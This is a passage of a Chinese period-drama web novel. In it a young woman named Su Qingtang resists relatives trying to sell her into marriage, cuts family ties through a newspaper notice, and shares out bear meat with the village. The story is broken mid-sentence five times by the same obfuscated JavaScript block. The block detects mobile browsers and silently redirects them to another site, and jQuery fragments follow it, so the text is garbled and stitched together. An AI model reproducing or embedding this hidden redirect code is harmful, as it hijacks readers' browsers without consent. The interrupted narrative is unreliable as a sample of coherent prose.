孙萍故作惊讶,拖长了语调:“哟,你这丫头吃这么好,日子过得也太滋润了,不怕把小肚子撑圆喽!”
这话明着说吃饭,暗里藏着一听就懂的调笑,苏青棠脑子一转,反应过来孙萍在说什么,脸颊瞬间红了,连忙把脸埋到李大娘怀里:“大娘,孙姐拿荤话逗我呢!”
她上一次听这种秒懂的话还是在大学宿舍,半夜舍友们时不时聊一些突然上高速的话题。没想到这个时代女人们之间也会说这类玩笑,她刚才差点以为是自己想歪了。
李大娘笑着轻拍苏青棠的后背,语气里满是纵容:“她啊,向来嘴上没个把门的,什么荤话都敢往外说。”
话是这么说,却没有半分责备的意思。毕竟女人们凑在一起要是连这点玩笑都不能开,那还有啥意思。
只是青棠还是个小姑娘,不知道海棠生前有没有教她结婚后的事。按理说应该是没教,这种事一般都是等姑娘快出嫁了才偷偷叮嘱。
她和孙萍不好直白地问,如今让青棠听些玩笑话,慢慢了解一点儿,免得以后怀孕了还不知道孩子是从哪来的。
苏青棠很快就过去了害羞的劲儿。她精读各类小说,不说上万本,起码上千本小金文总是有的,她曾凭借着丰富的理论知识把大学舍友们唬得一愣一愣。
这回在孙姐手上落了下风,车速来的措手不及,她早晚要把这个场子找回来,也让孙姐害羞一次。
苏青棠依靠着李大娘:“大娘,我想做包子,您知道哪有地软吗?”
李大娘惊讶一笑:“你算是问对人了,我正想问你们今天去不去挖地皮菜呢。”
地软有好几个名字,地木耳、地皮菜都是它。
孙萍有些纠结:“我也想挖点,我家男人跟孩子都不爱吃这玩意儿,挖回去怕是只有我一个人吃。”
李大娘眼睛一瞪:“你管他们做什么?有得吃就不错了还挑三拣四!谁不爱吃谁自己做饭去,惯得他们!”
孙萍顿时喜笑颜开:“就是,爱吃不吃。”
约好了下午去挖地软,苏青棠开始摸鱼工作。
没忙多久,外面就响起了吵吵嚷嚷的声音。
“苏青棠,青棠呢?你们把我外孙女藏哪去了!”
大队部院子里传来熟悉的刺耳声,不少在附近干活的人都围过来凑热闹。
苏青棠的外婆和舅舅又来了,看这架势,是势在必得。
“天杀的啊,俺宝贝闺女嫁到你们胜利大队,年纪轻轻就一尸两命,俺连个亲孙女都接不回去,你们胜利大队欺负我们孤儿寡母啊!”
赵爱男坐在地上拍着大腿干嚎,李德志戴着孝,不知道的还以为他是来给谁奔丧的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16364273|183852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人群里有人大声嗤笑:“赵爱男,谁不知道你男人是被你害死的?当初要是舍得花钱给他看病,你能成孤儿寡母?”
也有人对着李德志喊:“李德志,别装模作样了,你妹妹都埋几天了,今天突然披麻戴孝过来想干嘛?”
李德志脸色阴沉:“今天要是不把苏青棠交出来,我跟我娘就撞死在你们大队门口!”
嚯!
这话一出口,看热闹的人纷纷后退,生怕他待会儿撞死了血溅到自己身上。
王婶的丈夫许大强正巧路过,他叉着腰呵斥:“李德志你发什么癫?你跟你老娘今天死在我们大队,你媳妇咋办?我可听说,你媳妇发誓一定要给你们李家生个宝贝孙子,生不出来就一直生,你们李家是想断后?”
许大强在矿场上班,矿场工人都是从周边大队招过去的青壮年。平时哪个大队出了什么新鲜事,这群男人比自家婆娘知道消息更早更快。
李德志充耳不闻,见到苏青棠出来,直接扑通一声跪在她面前。
苏青棠被吓了一跳,迅速躲到李大娘身后。
她从李大娘身后探出脑袋:“你什么意思?”
别以为她不知道,长辈给晚辈下跪可是折寿的,这老东西心眼忒坏了。
李德志心里涌起一阵不耐烦,就该趁着夜黑风高偷偷把苏青棠绑回去,哪用得着这么麻烦。
赵爱男看见外甥女出来,就跟见着了金子,立马从地上爬起来,连滚带爬地想去抱苏青棠的大腿。
苏青棠见状转身往院子里跑,赵爱男在后面追,一副不抓到她誓不罢休的架势。
周围人纷纷帮忙阻拦,赵爱男就跟疯了似的,指甲一个劲儿的往别人身上招呼,最后是孙萍在人群中悄悄伸出脚,让赵爱男摔了个狗啃泥。
赵爱男趴在地上撒泼,扯着嗓子大喊大叫:“青棠,我是你亲外婆,你的亲人能害你吗!当初我给你娘找了多好的人家,嫁过去就是享清福,她非嫌人家年龄大,宁愿跟家里断绝关系,嫁给你那个穷爹吃苦,结果早早就死了。我养她那么大,你娘是白眼狼,你也要学她当小白眼狼是不是!”
苏青棠拨开围观的人群走出来,站在赵爱男面前,刻意拉开距离,让她碰不到自己:“我娘的选择没错,你骂她是白眼狼,你自己又做得多体面?你给她找亲事,不过是为了给你儿子娶媳妇,为你们李家传宗接代,跟我娘有什么关系?”
“我不会跟你们回去,我已经结婚了。就算你们想把我嫁到陈家,陈家也不会要一个离婚的女人。”
苏青棠把这部电视剧翻来覆去看了不下十几遍,男主陈永强的父母是什么德性她一清二楚。
陈家老两口虽说不算纯粹的坏人,但绝对是封建糟粕遗留的产物,思想极尽迂腐:女人贞洁大过天,新婚夜要在床上铺白毛巾验落红,重男轻女刻进骨子里、三从四德挂嘴边、大婆教的道理一套一套、家里来客女人吃饭不能上桌、总之所有能想到的封建陋习,在陈家体现的淋漓尽致。
剧中女主每次产生动摇想离婚,都被公婆劝住,翻来覆去无非就说她是明媒正娶,外面的狐媚子再怎么闹,也影响不到她正房的地位。后面又用孩子拿捏她,女主本就善良,慢慢被婆婆洗脑,彻底困在了陈家。
11. 补刀
赵爱男和李德志根本不相信苏青棠结婚。
李德志靠近苏青棠,想要借机抓着她,结果手在空中虚抓了一把,只差一点就能碰到苏青棠的衣角。
他不甘心地往前蹭了一步,脸上堆满虚伪的关切:“青棠,你可别犯糊涂,这世上哪有亲人会害自家孩子?陈家的条件吃喝不愁,家里又是三代单传,你嫁过去只要生个儿子,往后舅舅还得仰仗你呢。”他一边说一边往前挪动,眼睛始终紧紧盯着苏青棠的一举一动。
苏青棠看他的眼神如同看垃圾,她迅速后退几步,警惕地盯着他,语气嘲讽:“三代单传?陈永强还有个亲姐姐,女儿在陈家不配当人吗?”
陈家重男轻女的思想极其严重,平日里逢人就哭诉自家三代单传。明明生了两个孩子,女儿被当成吸血工具,家里但凡有点事,不管大小,全都找女儿女婿收拾烂摊子。
后来陈永强做生意发达了,他姐夫下岗,他没关照过一次自家人,在姐姐的哀求下,才给姐夫介绍了个坑爹工作。
赵爱男坐在地上叫嚷:“嫁出去的女儿泼出去的水,自古以来就是这个道理。姑娘嫁了人,生的娃跟着外人姓,陈家自然不会再把她当自家人。女儿家本就该这样,嫁了人就得替娘家着想,她跟她男人帮衬陈家,那是天经地义的义务!不然娘家养她一场,难道是白养的?你跟她不一样,只要嫁过去生个儿子,就是陈家的大功臣,以后陈家什么不是你的?”
李德志连连点头,接着说道:“青棠,你别拿你那点小心思糊弄我们。你说你结婚了?你爹娘才走了几天,怎么可能这么突然。别以为随便找个人装装样子演场戏,就能逃得过这门亲事。我跟陈家说好了,他们找人算过,你八字旺夫,命里有两个儿子。陈家连彩礼都送过来了,你不嫁也得嫁。”他双臂抱在胸前,脸上满是笃定,认定了苏青棠在说谎。
赵爱男从地上爬起来,胡乱拍了拍裤子,既然这丫头软硬不吃,只能用最后一招,她脸上神情得意:“青棠,我跟你舅舅去公安局问了,你的年纪还没到成年,我跟你舅舅就是你的监护人,你今天必须得跟我们走。”
眼看这俩人一副小人得志的模样,苏青棠懒得继续跟他们掰扯。
“不信?你们尽管问问在场的人。我结婚三天了,跟我男人天天住一间屋,夜里同床共枕的,指不准什么时候就大办满月宴了。”她说完挑衅地瞥了赵爱男一眼,故意把手轻轻搭在小腹上,脸上带着几分似笑非笑的从容,神态熟稔得像个早就经历过人事的过来人,半点不见小姑娘的羞怯。
赵爱男被惊得脚下一个趔趄,差点又坐回地上。李德志连忙扶着亲娘,母子俩满脸错愕。
李德志仿佛看见他到手的彩礼要飞走了,他眼神恶狠狠盯着苏青棠:“不可能,绝对不可能!谁敢娶你这种克父克母的扫把星,不怕被你克死?”
李大娘把苏青棠拉到自己身后,冷哼一声:“我们青棠可不是嫁人。凭她的样貌,想娶她的人能排到公社!即便是招上门女婿都得让小伙子们争破脑袋。你们自己挂嘴上说嫁出去的女儿泼出去的水,怎么忘了青棠姓苏不姓李?这会儿青棠肚子里揣的是苏家的种,你们李家别想打她主意,趁早死心!”
孙萍抱着双臂凑过来,眼神扫过赵爱男,嘴角勾起一抹促狭的坏笑,阴阳怪气地补刀:“要是实在想把人塞去陈家攀高枝,我看赵嫂子你也风韵犹存,不如亲自去问问陈老汉,家里缺不缺个能干活的新媳妇?”
赵爱男被气得直翻白眼,太阳穴嗡嗡响个不停,只能靠在儿子身上哎哟哎哟叫个不停。
李德志狠辣地盯着苏青棠,咬牙切齿:“好样的,我倒要看看你招了个什么样的窝囊废上门女婿!”
尽管李大娘话里说想做上门女婿的人争破了头,但事实是上门女婿确实不被人看得起。在大多数人眼里,只有家里一穷二白、没什么本事的男人才会去给人家倒插门,寄人篱下看人脸色。
李德志暗中在心里算计着,眼神里藏着阴光:要是苏青棠真找了个没本事的孬种,他作为监护人,正好以此为由不认这门亲事。不仅要把那男人告进监狱,说他诱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16367673|183852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
骗未成年少女,还要强行把苏青棠带走。她没了清白也无妨,真怀了孕,找个土法子打了就是。到时候他退陈家一部分彩礼,只要苏青棠嫁过去,人家想怎么处置就怎么处置,哪怕打死了都是活该,他不会过问一句。
大队能主事的人全跟着去了公社,李大娘和孙萍一左一右护着苏青棠回了办公室,剩下的人则留在院子里,你一言我一语地议论着,目光时不时瞟向赵爱男母子,生怕这俩人再闹出什么幺蛾子。
谢泊明等一群人在公社经历了漫长的等待,公社干部终于拿着奖励清单走出来,当场宣布了对谢泊明的表彰。
奖励谢泊明700工分、现金30元、返还100斤熊肉、一张奖状加全大队表彰、一双新解放鞋和几块肥皂。
跟着一起运输黑熊的人无一不羡慕他,七嘴八舌地夸着。
大队长和主任笑得合不拢嘴,一起上前接过奖状。这可是他们大队的荣耀,年底肯定能评上先进生产大队。
大队会计老赵在大队长身边转了好几圈,终于忍不住拉下老脸凑到谢老头跟前,压低声音开口:“老谢,你家的熊肉打算卖不?”
谢老头眼皮一抬,瞪了他一眼:“这肉可不是我家的!你想买肉,回去问青棠丫头去,她是当家的女主人。”
谢老头有意撇清和谢泊明的关联,只有这样大伙儿才会把苏青棠当成一家之主,而不是像老赵这样,哪怕是大傻个人领到的奖励,众人还是下意识来找他这个长辈。
他可不是为了推卸责任,反倒觉得青棠丫头脑子灵光、有主见,绝对不会让自己吃亏。
再说了,乡里乡亲的,只要价钱合适,青棠丫头肯定不会拒绝,说不定多出来的肉本就打算分给大伙。
想到这儿,谢老头清了清嗓子,对着众人招了招手,带着几分敲打的意味:“行了,肉称完重就回去吧。我知道你们惦记着买肉,回去好好跟青棠丫头商量,她肯定愿意卖。不过丑话说在前头,谁也别私底下哄骗我家阿明,要是让小两口闹了矛盾,可别怪我不客气啊。”
12. 第 12 章
一行人从公社回来,发现大队部门口围着一群人,大队长和公社主任皱着眉头从牛车下来。
主任苏平安背着手,大声吆喝:“大白天不上工,凑大队门口干啥呢?”
蹲守在门口的许大强努了努嘴:“三里沟大队的娘们俩又跑过来抢青棠了,说今天非要把人带走。”
谢老头正好走过来:“胡闹!现在是法治社会,他们娘俩还有没有王法了!”
赵爱男看见一群人过来,立马开始坐在地上哭嚎:“老天不长眼啊,亲外孙女把我们当仇人,一群外人反倒管上我们自家人的事。但凡俺家有个能做主的男人,哪能任人欺负。”
谢老头一听这话不乐意了:“赵家婶子,你这话说的可就没道理了,做人做事要凭良心。青棠的户口、粮油关系都落在我们胜利大队,她是正儿八经的公社社员,不是你说带走就带走的盲流。她还在队里顶半个劳动力挣公分呢!你现在要把我们队的劳动力弄走,是在挖社会主义墙角,破坏集体生产!这事儿哪怕上报到公社、县里,我们大队也占着理。”
“更别说现在的情况,青棠已经招了婿,她现在是苏家的户主,户籍和粮油关系都在我们胜利大队,她的监护人是她男人,人家小两口日子过得好好的,你一个外队的老太太,非要来拆散一个革命家庭?这是什么歪道理?”
谢泊明归还牛车回来,谢老头往他身边站了站,继续板着脸呵斥:“你想接她走也行,先让你们三里沟大队给我们胜利大队发个正式协商函,再让两边公社盖章同意她迁户口、转粮油关系!只要手续齐全,我们绝不拦着。否则你今天从这带走的不是外孙女,是给我们大队惹下天大的麻烦。影响了我们大队的生产劳动,这个责任你负担得起吗?”
会计老赵适时地开口,表面是对着主任说话,实际让在场的人都能听见:“青棠是招婿,户籍转去三里沟大队,阿明肯定要跟着一起转,这下赵婶子不用担心家里没男人了,招回来的女婿能跟李德志一起分李家房子,都有继承权。”
赵爱男凄厉尖叫:“不行,我们老李家的房子只能留给我儿子,外人凭什么分我家房子!”
苏平安赞同地点点头:“没错,是这个道理。”他又对着赵爱男语重心长道:“招赘不就是家里没男人、又想保住香火才把人招上门。你不是说你们家没顶梁柱?正好你外孙女替你家招了赘婿,你们李家好福气啊。”
苏平安明面上一副羡慕的模样,在场谁不知道他这人说话是出了名的喜欢阴阳怪气。
这可把李德志和赵爱男吓坏了,他们只是想把苏青棠接回去赶紧嫁到李家,没想把自己家的房子分出去。
要是真上纲上线找公社,结局肯定跟胜利大队这群干部嘴里说的一模一样。
母子俩一时间心虚,李德志立马想起自己明明是想通过威胁举报那个赘婿,用手段把苏青棠带回去。
他瞬间充满底气,眼神在四周扫了一圈,目光锁定在门口一个身材矮小的年轻人身上。
他下意识忽略存在感极强的谢泊明。毕竟面前像一座山似的健壮男人,看着就不好惹,怎么可能给人当上门女婿。
李德志冷笑一声:“我外甥女才多大?肯定是你们大队有人不怀好意把她哄骗了,过往我就不追究了。只要你们劝说青棠跟我回去,不然我就告他耍流氓。”
胜利大队敢拿破坏集体生产罪来压他,他也可以用苏青棠的名誉反告胜利大队。
只要那个男人是个孬种,一切就好说了,李德志顿时感到无比畅快,刚刚差点被胜利大队一套说辞吓到了。
没人站出来,李德志更加笃定苏青棠找了个孬种,遇到事都不敢站出来。只要自己恐吓他几句,看他敢不敢拿自己的名誉去赌。
谢泊明盯着他看了好一会儿,逐句理解话中的意思。
李德志满脸小人得志的模样,说的话也越来越难听。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16371694|183852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>在场众人没有一个人吭声,因为李德志已经不知不觉走到了谢泊明面前。大家见识过大傻的威慑力,只用一种同情的眼神看着他。
李德志差点儿撞在谢泊明身上,张口而出的骂骂咧咧顿时像卡了壳,装作若无其事地想绕过去。
谢泊明低头睥睨,入目便是李德志发量稀疏的头顶。
“你在找我。”这是肯定句。
李德志生怕挨揍,急忙摆手:“没有没有,我在找一个不敢站出来的孬种,您忙您的。”
谢泊明又重复了一遍:“你在找我。”
李德志心中涌起不耐烦,这人怕不是脑子有问题,都说了没找他,听不懂人话。
他突然想起胜利大队确实有个出了名的傻子,好像是大队长的儿子,据说特别嚣张,但凡敢去胜利大队偷东西,那些贼都被打的半死不活,偏偏人家是个傻子,就算杀了人都不用去坐牢。
李德志连忙往边上挪了挪,他惹不起还躲不起吗。
谁知他走到哪,谢泊明就跟到哪,像一座山似的堵住他的去路。
李德志烦不胜烦,终于壮起胆子破口大骂:“你到底有什么事!”他又没偷东西,傻子总不能平白无故把他打一顿。
谢泊明只是重复一句话:“你在找我。”
“没找你,滚开。”李德志说完就要推开他,结果谢泊明纹丝不动,他自己一屁股坐到了地上。
李德志冲着大队长嚷嚷:“管好你们大队的傻子,脑子不好就别把人放出来,万一哪天死在外面就是活该。”
周围人都在看热闹,谢老头背着手不说话,老赵抬头看天,就连主任脸上的笑容仿佛带着意味深长。
他们这副反应,李德志和赵爱男母子俩后背发凉,难道胜利大队想让傻子把他俩打残?
母子俩越想越害怕。
李德志强行给自己打气:“光天化日,朗朗乾坤,你们胜利大队还有没有王法!”
13. 断亲
一个可怕的猜想涌上心头,李德志后背的汗毛竖了起来,这傻子不会就是苏青棠招的上门女婿吧?!
谢泊明像拎小鸡仔似的,抓着李德志的领口将他提溜起来跟自己对视,对方油腻打结还稀疏的发顶太让人倒胃口。
“找、我、有事?”
大家稀奇地低声议论,傻子竟然会说话了。他们一直知道傻子能听懂人话,不过看他说话的语气,估计是青棠教他的,翻来覆去只会这两句,也就青棠那丫头有耐心教傻子说话。
谢泊明在大队待了几年,傻子形象深入人心。就算他开口说话,大家还是下意识将他当成傻子。
即便他身上发生变化,肯定是青棠的功劳,众人无一不是如此默认。一个傻子还能自个儿变聪明不成?自然是有人教一点,他才会一点。
李德志双脚腾空挣扎:“放开我,你认错人了,我没有找你,我来找我外甥女。”
苏青棠不知何时走了出来,乡亲们默契地退到两侧给她让出位置,她站在门口抱着双臂嘲笑:“舅舅,你不是想见我男人吗,怎么这么狼狈啊。”
李德志的心瞬间哇凉,赵爱男哆哆嗦嗦指着苏青棠,吓得说不出一句完整话:“不要脸,一个姑娘家把男人挂在嘴上像什么话,还不快让他把你舅舅放下来!”
赵爱男骂一句苏青棠,谢泊明手上就收紧力气。
李德志终于反应过来,苏青棠不知道用什么迷魂汤把这傻子给糊弄住了,只要敢骂她一句,傻子就要在自己身上找回来。
他感觉自己快要喘不上气:“娘,你快闭嘴,你想害死我吗!”
赵爱男闻言哭喊着扑过来,想要用泼妇的招数对付谢泊明,还没靠近就被一脚踹飞。
赵爱男在地上滚了两圈才停下,谢泊明只是盯着李德志,半点余光都没分给她。
“你、找、我,什么事?”
李德志彻底明白自己招惹了一个惹不起的人,这可是个力大无穷的傻子,把自己打死都不用坐牢。据说之前有个贼来偷东西,被胜利大队的傻子打到瘫痪,这辈子都没机会再下床走路。
苏青棠还在火上浇油:“舅舅,来都来了不如去我家吃顿饭,我让阿明哥亲自招待你。”
赵爱男趴在地上:“白眼狼,跟你那早死的娘都是喂不熟的白眼狼!”
苏青棠把视线转向外婆:“外婆也一起去坐坐吧。”
她明明是笑着的,却让李德志后背发凉。
“青棠,快让这傻子把我放下来,我要是在他手上断胳膊断腿,你可吃不了兜着走。啊!”
李德志话没说完就发出一声凄厉惨叫:“救命啊,我的胳膊,你把我胳膊怎么了!”
谢泊明傻愣愣地盯着他,一副听不懂人话的模样,仿佛造成这一切的罪魁祸首跟他无关。
他嘴里反复重复着:“断胳膊、断腿。”
李德志彻底怕了他了:“青棠,你救救我,我是你亲舅舅啊!”
赵爱男瘫坐在地上被吓傻了:“放开我儿子,我要去公社告你们!胜利大队要杀人了啊!”
许大强大声道:“谁不知道我们大队的傻子从来不会无缘无故打人,要不是你们欺人太甚,他能跟你们动手吗?”
有人跟着附和:“就是,人家公安局还给傻子颁发了见义勇为奖状呢,傻子可不会欺负人。”
众人你一言我一语,李德志痛得脸色发白,赵爱男想抢回儿子又不敢。
苏青棠冷眼旁观:“我给过你们一次机会了,今天是你们自己上门来闹事,断胳膊断腿活该。”
李德志吓得一激灵,生怕傻子把自己的腿卸掉。
他急忙求情:“青棠,舅舅错了,我保证以后一定不来找你麻烦,你们俩好好过日子,我跟你外婆再也不会来打扰你们了!”
赵爱男嘴唇嚅嗫,没发出一句声音。
“娘,你快跟青棠保证啊,我要疼死了。”
赵爱男还在犹豫不决,她舍不得陈家给的彩礼。
“青棠毕竟是你姐姐的孩子,我怎么能忍心她一个人流落在外面。”
李德志没想到自己会被亲娘坑死:“娘,这都什么时候了您还在惦记
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16377598|183852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那头老黄牛,我要是出事了,咱们李家香火可就断了。”
一提到香火,赵爱男立马清醒了。
她连滚带爬扑到苏青棠面前,被苏青棠躲了过去。
“青棠,那可是你亲舅舅啊,你怎么忍心让一个傻子欺负到你舅舅头上呢。”
“这点欺负你们就受不了了?你跟我舅舅不是想把我卖去陈家?我舅舅断掉的只是一条胳膊,而我失去的可是后半生的幸福!”
苏青棠的这番话把人唬得一愣一愣,乍一听似乎没什么毛病,孙萍在李大娘身边噗嗤笑出声。
李大娘一头雾水:“你笑啥?”
孙萍越想越觉得有趣:“青棠说话真有意思,她舅舅只是失去了一条胳膊,而她却失去了幸福,拐着弯骂李德志活该断胳膊呢。”
李大娘也听乐了:“这丫头,鬼机灵。”
李德志疼得一把鼻涕一把泪,鼻涕糊在脸上,说话间鼻涕掉进了嘴里:“你到底、到底要怎么样才肯让这傻子放过我。”
苏青棠慢悠悠开口:“只要你们写个保证书,再去报社登报咱们两家断亲,我跟你们不是亲戚关系,阿明哥立马就会把你放下来。”
李德志眼珠子转了转:“登报需要时间,总要让他先把我放下来吧?”
赵爱男连忙跟着道:“是啊是啊,我们一定去报社登报跟你断绝关系,但是你得先把人放下来,你舅舅已经断了一条胳膊,他怎么受得了!”
苏青棠无视母子俩的小心思,掏出自己刚写好的断绝关系信:“我已经写好了,待会送去报社,明天早上就能登报,今晚就劳烦你们留下来了。”
李德志和赵爱男彻底慌了,要是断亲登上报纸,不仅陈家会看见,别人也会猜测他们家是不是坏分子,才会被亲人断亲。
李德志头上直冒冷汗:“你咋这么急呢,我跟你外婆答应的事一定不会反悔,你先让他把我放下来。”
他试图反抗傻子,没想到肩膀被捏了捏,锥心刺骨的疼痛霎那间传遍全身。
“啊!你...”李德志痛得说不出话来。
14. 投稿
赵爱男和李德志母子俩在断亲信上按了手印,才被谢泊明丢垃圾似的丢到地上。
但他们俩不能离开胜利大队,得等报纸上正式登报断亲才能走,于是被扭送去了仓库。
仓库昨晚放了黑熊的尸体,里面带着一股浓浓的血腥味和臭味。
赵爱男和李德志被推了进去,门上落了锁,仓库只有一扇天窗,没有其他出口。
赵爱男母子被锁进仓库,乡亲们围了上来,七嘴八舌你一言我一语。
“青棠,这会子报社怕是已经把明天的报纸送去印刷厂了,还来得及吗?”
苏青棠诚实摇头:“不知道呢,先试试吧。”
有个年轻人吆喝道:“我亲戚来我家做客,正好骑着自行车过来的,让他送你去吧。”
苏青棠记得对方叫赵有根:“这可太及时了,谢谢你根子叔。”
赵有根不在意地摆摆手:“谢啥谢,顺便的事。”
苏青棠坐着赵家亲戚的自行车去了县城,报社主编正在纠结生活栏目的内容,天天都是送祝福毫无新意。
正在这时,有人敲响了报社的门。
“你好,我想来投稿一份断绝亲属关系声明公告。”
主编眼前一亮:“同志,这可不是小事啊,请问是遇到什么问题了吗?”
万一能登上报纸,说不定能成为大家茶余饭后讨论的热点话题。
苏青棠秒懂了主编话里的意思,于是把原身的遭遇和经历添油加醋讲给主编,保证没有丝毫夸大。
主编听完一巴掌重重拍在桌上:“欺人太甚,哪有亲人这么对待自己的亲外孙女,你的稿子我们接了。”
主编又缓了缓语气:“对了,你的故事愿不愿意匿名投稿给我们报社,我们会给你买故事的稿费。”
这样的事迹就该登报狠狠批判,让所有人跟着一起唾弃那对丧尽天良的母子俩。
苏青棠求之不得。这个年代苦的人太多了,没想到自己的苦难有机会登上报纸。万一以后自己飞黄腾达,舅舅家别想来沾边。
“我愿意!钱财是小事,我只是想让所有人认清我亲人的真面
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16385274|183852||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
目,我不是白眼狼,我娘也不是白眼狼。希望大家能重视男女地位的平等,生男生女都一样。”
苏青棠这句话不是喊口号,这个时代墙上的大字报都写着“妇女能顶半边天呢”,城市里的女性有工作,能自己挣钱,双职工家庭最能看出男女地位平等。
农村妇女明明干着跟男人同样的农活,只因性别不同就遭受歧视,一生都在受压迫。
“好,我会把你这句话加上去,性别不是我们出生能选择的,但我们可以选择自己人生的路。你不要放弃,你的人生还长。你现在遭遇是为你的未来奠定基石,以后你的人生道路只会一帆风顺。”
主编拍了拍苏青棠的肩膀。
离开报社后,没想到一分钱没花,还拿到了五块钱的稿费。这五块钱算不上多,只是把故事卖给了报社,成品如何得看明天的报纸了。
终于可以回家做包子了,苏青棠惦记了一下午。哪怕没有挖成地软,她也要做一锅包子。帕鲁今天帮了大忙,全靠他镇场才恐吓住那对母子,可得好好奖励犒劳他。
15. 第 15 章
大队今天比过年还热闹,平时过年都不一定能分到不要钱的肉。
大家拿着盆,发现大队早早来了很多人,已经排好了队伍等分肉。
被喊来帮忙分肉的人是张猎户,只见他手起刀落,一块肉放在秤盘上正正好两斤整。
来得晚的人排在人群后面,拉住分到肉准备回家的人:“今天是啥好日子,咋突然给大家分肉?”
王婶满脸喜气洋洋:“今天还真是好日子,这肉得亏了青棠大方,让咱们沾光吃上熊肉了。”
对方感觉到不可置信:“你是说,这是那头大黑熊的肉?”
王婶一副与荣有焉的神态:“是啊,公社给返还了100斤肉,青棠自个儿留了10斤,剩下的让咱们4队的人分了,每家都尝尝。”
对方听完惊叹不已。这年头谁家有口肉不是藏着掖着,哪有人像青棠这么大方把肉分出来,再不济也是低价卖给乡里乡亲。
一时间,有人觉得苏青棠傻,好东西不知道自家留着吃;也有人觉得她是随了父母的老实性子,男人是个傻子,以后日子怕是难过啊。
谢泊明没有久留,他心中记挂着小姑娘那句让他早点回家吃饭,带上属于自家的10斤肉就回了家。
谢老头专门挑了块最好的部位,肥瘦相间,不论怎么吃都有点油脂,肉不至于干巴发柴。
苏青棠几乎没费力气,靠着包子机器做了将近100个包子,每个包子有她手掌那么大。
她几乎不用怀疑,帕鲁一个人就能干掉二三十个,剩下的除去自家这周的早餐,还要给关系好的几家人送一些。
谢泊明回家第一件事就是把肉交给苏青棠,让她亲自过目。
苏青棠粗略瞄了一眼盆里鲜红的肉,让他去厨房生火烧水蒸包子。
她完全不需要解释自己捏包子的效率,反正家里被她打扫的毫无痕迹,谁来了都发现不了。
她就是天赋异禀,怎样!
谢泊明一言不发地坐在灶台前烧火,心里产生的疑惑无论如何都消散不下去。
这么多包子,一个小姑娘只需要半个小时就能全部做出来?
他不禁对自己的效率产生怀疑。他包饺子的时候除过最开始手生,上手后三秒完成一个,难道他现在连小姑娘都不如了?还是说做包子比包饺子更简单容易?
苏青棠把包子整整齐齐放上蒸笼,水烧开后没多久,整个厨房里弥漫着包子独有的清香味。带着精制小麦特有的甜香和包子馅的油香、菜馅的鲜味融为一体,光是闻着就让人食欲大动。
苏青棠不禁怀念自己上学时候,每天早上会在校门口买两个包子,进教室前吃完最后一口。
她越想越惆怅,转眼那已经是自己上辈子的事情了。果然记忆会存在气味里,总是在某个瞬间突然想起。
苏青棠迅速回神,揭开锅盖用筷子戳了戳:“里面的馅儿还没熟,再蒸10分钟吧。”
她只在家做过小笼包,这种稍微大点的包子还是头一回尝试,自己果然很有当厨师的天赋。
不对,上一次如此自信还是给帕鲁剪头发。她还是不要盲目自信了,免得待会儿又翻车。
滚烫热乎的包子刚出锅,俩人一边吃,一边继续蒸包子,今晚肯定要把剩下的包子全都做出来。
苏青棠嘴里哈着气,吹了吹手上滚烫的包子,咬了一小口软糯香甜的包子皮,抬起头问他:“怎么样?包子和饺子哪个更好吃?”
谢泊明迟疑了几秒:“都好吃。”
苏青棠不用想就知道他更喜欢饺子,真心喜欢是不用犹豫的。
